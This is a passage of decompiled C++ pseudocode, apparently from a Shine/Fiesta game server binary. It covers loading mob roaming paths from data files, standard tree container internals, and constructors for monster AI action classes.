( !*(_BYTE *)(v16 + 48) ) { *(_BYTE *)(v16 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v16 = **(_DWORD **)&v7; v15 = v20; } if ( *(_BYTE *)(v16 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v16 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v16 + 8) + 48) = 1; *(_BYTE *)(v16 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v15, (std::_Tree_nod,std::allocator,0> >::_Node *)v16); v16 = **(_DWORD **)&v7; v15 = v20; } *(_BYTE *)(v16 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v16 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v15, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v16 + 48) = 0; LABEL_54: v5 = v7; v17 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v15->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v17 ); } *(_BYTE *)(*(_DWORD *)&v5 + 48) = 1; } if ( *(_DWORD *)(*(_DWORD *)&v4 + 16) ) operator delete(*(void **)(*(_DWORD *)&v4 + 16)); *(_DWORD *)(*(_DWORD *)&v4 + 16) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 20) = 0; *(_DWORD *)(*(_DWORD *)&v4 + 24) = 0; operator delete(*(void **)&v4); v18 = v20->_Mysize; if ( v18 > 0 ) v20->_Mysize = v18 - 1; v19 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v19; } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00485E50) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (00485E90) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val) { std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@1 MobRoaming::MobRoamingPath *v6; // esi@1 MobRoaming::MobRoamingPath *v7; // ebp@1 bool v8; // al@1 int v9; // edx@2 int v10; // eax@3 MobRoaming::MobRoamingPath *v11; // edi@12 MobRoaming::MobRoamingPath **v12; // ecx@13 int v13; // edx@15 std::pair,std::allocator,0> >::iterator,bool> *v14; // eax@15 bool v15; // [sp-Ch] [bp-20h]@14 std::_Tree_nod,std::allocator,0> >::_Node *v16; // [sp-8h] [bp-1Ch]@14 MobRoaming::MobRoamingPath *v17; // [sp-4h] [bp-18h]@14 char _Addleft; // [sp+10h] [bp-4h]@1 v3 = this; v4 = this->_Myhead; v5 = v4->_Parent; v6 = _Val; v7 = (MobRoaming::MobRoamingPath *)v4; v8 = 1; _Addleft = 1; while ( !v5->_Isnil ) { v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[0]; v7 = (MobRoaming::MobRoamingPath *)v5; if ( *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0] == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[4]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[4]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[8]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[8]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[12]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[12]; if ( v10 == v9 ) { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[16]; v9 = *(_DWORD *)&v5->_Myval.mrp_GroupName.ort_Name[16]; } } } } else { v10 = *(_DWORD *)&_Val->mrp_GroupName.ort_Name[0]; } v8 = v10 - v9 < 0; _Addleft = v8; if ( v8 ) v5 = v5->_Left; else v5 = v5->_Right; } v11 = v7; _Val = v7; if ( v8 ) { v12 = &_Val; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Left ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = 1; LABEL_15: v13 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v3, (std::_Tree,std::allocator,0> >::iterator *)v12, v15, v16, v17)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v13; result->second = 1; return v14; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v11 = _Val; } if ( MobRoaming::MobRoamingPath::operator<((MobRoaming::MobRoamingPath *)((char *)v11 + 12), v6) ) { v17 = v6; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; v15 = _Addleft; v12 = &_Val; goto LABEL_15; } v14 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; result->second = 0; return v14; } //----- (00485F70) -------------------------------------------------------- MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname) { MobRoaming::MobRoamingSet *v3; // ebp@1 char *v4; // esi@2 int v5; // edx@2 MobRoaming::MobRoamingPath *v6; // eax@4 MobRoaming::MobRoamingPath *v7; // eax@6 int v8; // esi@6 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@8 char *v10; // eax@8 int i; // edi@11 void *v12; // eax@12 MobRoaming::MobRoamingPath *v13; // eax@16 ORToken v14; // [sp-18h] [bp-10960h]@12 int v15; // [sp-14h] [bp-1095Ch]@12 int v16; // [sp-10h] [bp-10958h]@12 int v17; // [sp-Ch] [bp-10954h]@12 char *v18; // [sp-8h] [bp-10950h]@2 int v19; // [sp-4h] [bp-1094Ch]@2 bool v20; // [sp+13h] [bp-10935h]@8 char v21; // [sp+14h] [bp-10934h]@6 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+18h] [bp-10930h]@4 MobRoaming::MobRoamingPath thisa; // [sp+20h] [bp-10928h]@4 char tmp[32]; // [sp+44h] [bp-10904h]@2 char path[128]; // [sp+64h] [bp-108E4h]@2 OptionReader or; // [sp+E4h] [bp-10864h]@2 unsigned int cookie; // [sp+10938h] [bp-10h]@16 int v28; // [sp+10944h] [bp-4h]@2 v3 = this; if ( !MobRoaming::MobRoamingSet::mrs_Get(this, groupname) ) { OptionReader::OptionReader(&or); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v4 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; v19 = (int)tmp; v28 = 0; *((_DWORD *)v4 + 3) = v5; v4[16] = 0; ORToken::ort_GetString(groupname, (char *)v19); v18 = v4; sprintf(path, "../9Data/Shine/World/%s/MobRoam/%s.txt"); if ( OptionReader::or_Read(&or, path) || (OptionReader::or_ClearError(&or), ORToken::ort_GetString(groupname, tmp), sprintf(path, "../9Data/Shine/MobRoam/%s.txt"), !OptionReader::or_Read(&or, path)) ) { v28 = -1; OptionReader::_OptionReader(&or); } else { MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); LOBYTE(v28) = 1; std::_Tree_std::allocator_0>>::insert( &v3->baseclass_0.baseclass_0, &result, v6); LOBYTE(v28) = 0; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); MobRoaming::MobRoamingPath::MobRoamingPath(&thisa, groupname); v8 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( &v3->baseclass_0.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&v21, v7)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; if ( thisa.baseclass_0._Myfirst ) operator delete(thisa.baseclass_0._Myfirst); v9 = v3->baseclass_0.baseclass_0._Myhead; thisa.baseclass_0._Myfirst = 0; thisa.baseclass_0._Mylast = 0; thisa.baseclass_0._Myend = 0; v20 = v8 != (_DWORD)v9; v10 = ORToken::ort_GetString(groupname, tmp); if ( !v20 ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Error in load", v10); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v19 = i; *(_DWORD *)&result.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v14; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)&v14.ort_Name[0] = 0; strncpy(v14.ort_Name, "Roaming", 0x14u); v12 = OptionReader::or_SelectFromOrder(&or, v14, v19); if ( !v12 ) break; std::vector>::push_back( (std::vector > *)(v8 + 12), (MobRoaming::PathElement *)v12); } v28 = -1; OptionReader::_OptionReader(&or); } } __security_check_cookie(cookie); return v13; } //----- (004861E0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (004862A0) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world) { char v2; // bl@1 int v3; // eax@1 int i; // ebx@4 void *v5; // edi@5 MobRoaming::MobRoamingPath *v6; // eax@9 ORToken v7; // [sp-24h] [bp-108B8h]@5 int v8; // [sp-20h] [bp-108B4h]@5 int v9; // [sp-1Ch] [bp-108B0h]@5 int v10; // [sp-18h] [bp-108ACh]@5 int v11; // [sp-14h] [bp-108A8h]@5 char *v12; // [sp-10h] [bp-108A4h]@5 int v13; // [sp-Ch] [bp-108A0h]@5 int v14; // [sp-8h] [bp-1089Ch]@5 int *v15; // [sp-4h] [bp-10898h]@5 ORToken *v16; // [sp+10h] [bp-10884h]@5 int type; // [sp+14h] [bp-10880h]@5 MobRoaming::MobRoamingSet *v18; // [sp+18h] [bp-1087Ch]@1 char groupname[4]; // [sp+1Ch] [bp-10878h]@9 int v20; // [sp+20h] [bp-10874h]@9 int v21; // [sp+24h] [bp-10870h]@9 int v22; // [sp+28h] [bp-1086Ch]@9 int v23; // [sp+2Ch] [bp-10868h]@9 OptionReader or; // [sp+30h] [bp-10864h]@1 unsigned int cookie; // [sp+10884h] [bp-10h]@13 int v26; // [sp+10890h] [bp-4h]@1 v18 = this; OptionReader::OptionReader(&or); v26 = 0; v2 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v3 = OptionReader::or_ErrorLine(&or); if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Option read error", v3); ShineExit("MobRoaming::MobRoamingSet::mrs_Load"); } for ( i = 0; ; ++i ) { v15 = &type; v14 = i; v13 = 0; v12 = byte_59A24E; v16 = &v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "RoamingData", 0x14u); v5 = OptionReader::or_Select(&or, "RoamingFile", v7, v12, v13, v14, v15); if ( !v5 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } v23 = 0; v22 = 0; v21 = 0; v20 = 0; *(_DWORD *)groupname = 0; strncpy(groupname, (const char *)v5, 0x14u); v6 = MobRoaming::MobRoamingSet::mrs_Load(v18, world, (ORToken *)groupname); v16 = (ORToken *)(v6 != 0); if ( v6 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobRoaming::MobRoamingSet::mrs_Load : Roaming Data(in PineScript.txt)not found", (const char *)v5); ShineExit("ScenarioBookShelf::sbs_LoadScripts"); } } v26 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00486450) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0.baseclass_0._Myhead); operator delete(v1->baseclass_0.baseclass_0._Myhead); v1->baseclass_0.baseclass_0._Myhead = 0; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (00486480) -------------------------------------------------------- void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this) { MobRoaming::MobRoamingSet *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->baseclass_0.baseclass_0._Myhead->_Parent = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Left = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Myhead->_Right = v1->baseclass_0.baseclass_0._Myhead; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (004864B0) -------------------------------------------------------- #error "4864B0: undefined or illegal type '#331' (funcsize=40)" //----- (00486530) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this) { int v1; // eax@1 unsigned int result; // eax@2 int v3; // ecx@3 v1 = *(_DWORD *)(this + 7600); if ( v1 >= 0 ) { v3 = 10 * *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(this + 7576) + 8) + 12 * v1) + 75); result = ((signed int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); } else { result = 0; } return result; } //----- (00486570) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle) { int v2; // edx@2 __int16 arg; // [sp+0h] [bp-108h]@3 __int16 v4; // [sp+2h] [bp-106h]@3 if ( targethandle != *(_WORD *)(this + 8850) ) { v2 = *(_DWORD *)(this + 98); *(_WORD *)(this + 8850) = targethandle; if ( v2 ) { arg = *(_WORD *)(this + 4); v4 = targethandle; if ( targethandle != -1 ) Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v2 + 68), ScriptInterrupt::ScriptInterruptManager::sim_TargetChange, (ScriptInterrupt::InterruptHappenArgument *)&arg); } } } //----- (004865E0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #331 *target) { MobTacticElement::MobActionBase *result; // eax@1 result = (MobTacticElement::MobActionBase *)this; *this->mant_Target.mbto_Target = target; return result; } //----- (004865F0) -------------------------------------------------------- #error "4865F0: undefined or illegal type '#331' (funcsize=17)" //----- (00486630) -------------------------------------------------------- #error "486630: undefined or illegal type '#331' (funcsize=31)" //----- (00486690) -------------------------------------------------------- #error "486690: undefined or illegal type '#331' (funcsize=8)" //----- (004866B0) -------------------------------------------------------- #331 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this) { return *this->mant_Target.mbto_Target; } //----- (004866C0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove::_vftable_; } // 5ADFA0: using guessed type int (__stdcall *MobTacticElement__MobActionInMove___vftable_[2])(int argument); //----- (004866D0) -------------------------------------------------------- void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::DuringReturn2Regen::_vftable_; } // 5ADFB8: using guessed type int (__stdcall *MobTacticElement__DuringReturn2Regen___vftable_[2])(int argument); //----- (004866E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInChase::_vftable_; } // 5ADFD0: using guessed type int (__stdcall *MobTacticElement__MobActionInChase___vftable_[2])(int argument); //----- (004866F0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionInMove_Cancelable::_vftable_; } // 5ADFE8: using guessed type int (__stdcall *MobTacticElement__MobActionInMove_Cancelable___vftable_[2])(int argument); //----- (00486700) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; Metronome::Metronome(&this->maw_ReturnTick); Metronome::Metronome(&v1->maw_SearchTick); Metronome::Metronome(&v1->maw_WanderTick); } // 5AE000: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (00486760) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this) { MobTacticElement::MobActionWander *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionWander::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->maw_WanderTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_SearchTick); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->maw_ReturnTick); v1->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 5ADF88: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); // 5AE000: using guessed type int (__thiscall *MobTacticElement__MobActionWander___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (004867D0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionTargetting::_vftable_; } // 5AE018: using guessed type int (__stdcall *MobTacticElement__MobActionTargetting___vftable_[2])(int argument); //----- (004867E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionTurning::_vftable_; } // 5AE030: using guessed type int (__thiscall *MobTacticElement__MobActionTurning___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (004867F0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAttack::_vftable_; this->mat_NextAttackTick = 0; } // 5AE048: using guessed type int (__thiscall *MobTacticElement__MobActionAttack___vftable_)(MobTacticElement::MobActionAttack *this, int argument); //----- (00486800) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionChase::_vftable_; } // 5AE060: using guessed type int (__thiscall *MobTacticElement__MobActionChase___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (00486810) -------------------------------------------------------- void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobAction2Region::_vftable_; } // 5AE078: using guessed type int (__thiscall *MobTacticElement__MobAction2Region___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (00486820) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionBackStep::_vftable_; } // 5AE090: using guessed type int (__thiscall *MobTacticElement__MobActionBackStep___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (00486830) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this) { this->baseclass_0.baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionAvoidOverlap::_vftable_; } // 5AE0A8: using guessed type int (__thiscall *MobTacticElement__MobActionAvoidOverlap___vftable_)(MobTacticElement::MobActionBase *this, int argument); //----- (00486840) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionWaitSkillEnd::_vftable_; } // 5AE0C0: using guessed type int (__stdcall *MobTacticElement__MobActionWaitSkillEnd___vftable_[2])(int argument); //----- (00486850) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionSwingDamage::_vftable_; } // 5AE0D8: using guessed type int (__stdcall *MobTacticElement__MobActionSwingDamage___vftable_[2])(int argument); //----- (00486860) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)&MobTacticElement::MobActionRoaming::_vftable_; } // 5AE0F0: using guessed type int (__thiscall *MobTacticElement__MobActionRoaming___vftable_)(MobTacticElement::MobActionBase *, int argument); //----- (00486870) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionNoBrain::_vftable_; } // 5AE108: using guessed type int (__stdcall *MobTacticElement__MobActionNoBrain___vftable_[2])(int argument); //----- (00486880) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this) { this->baseclass_0.vfptr = (MobTacticElement::MobActionBaseVtbl *)MobTacticElement::MobActionBase::_vftable_; } // 5ADF88: using guessed type int (__stdcall *MobTacticElement__MobActionBase___vftable_[2])(int argument); //----- (00486890) -------------------------------------------------------- #error "486890: undefined or illegal type '#748' (funcsize=8)" //----- (004868B0) -------------------------------------------------------- MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument) { return (MobTacticElement::MobActionBase *)&MobTacticElement::MobActionArgument::Actor::targetting; } //----- (004868C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this) { int v1; // eax@1 MobAttackSequence::AttackElement4Mob *v2; // ecx@1 v1 = this; v2 = *(MobAttackSequence::AttackElement4Mob **)(this + 7604); if ( v2 ) MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v2, (int *)(v1 + 7608)); } //----- (004868E0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #331 **ppTargetObject) { MobTacticElement::MobActionArgument::Actor *v2; // esi@1 v2 = this; ((void (__stdcall *)(_DWORD))this->inmove.baseclass_0.vfptr->mb_SetTargetPoint)(ppTargetObject); v2->inmove_cancelable.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_cancelable, ppTargetObject); v2->inmove_chase.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->inmove_chase, ppTargetObject); v2->wander.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->wander, ppTargetObject); v2->attack.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->attack, ppTargetObject); v2->chase.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->chase, ppTargetObject); v2->backstep.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->backstep, ppTargetObject); v2->avoidoverlap.baseclass_0.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->avoidoverlap, ppTargetObject); v2->waitskillend.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->waitskillend, ppTargetObject); v2->swingdamage.baseclass_0.vfptr->mb_SetTargetPoint( (MobTacticElement::MobActionBase *)&v2->swingdamage, ppTargetObject); v2->turning.baseclass_0.vfptr->mb_SetTargetPoint((MobTacticElement::MobActionBase *)&v2->turning, ppTargetObject); } //----- (00486960) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = 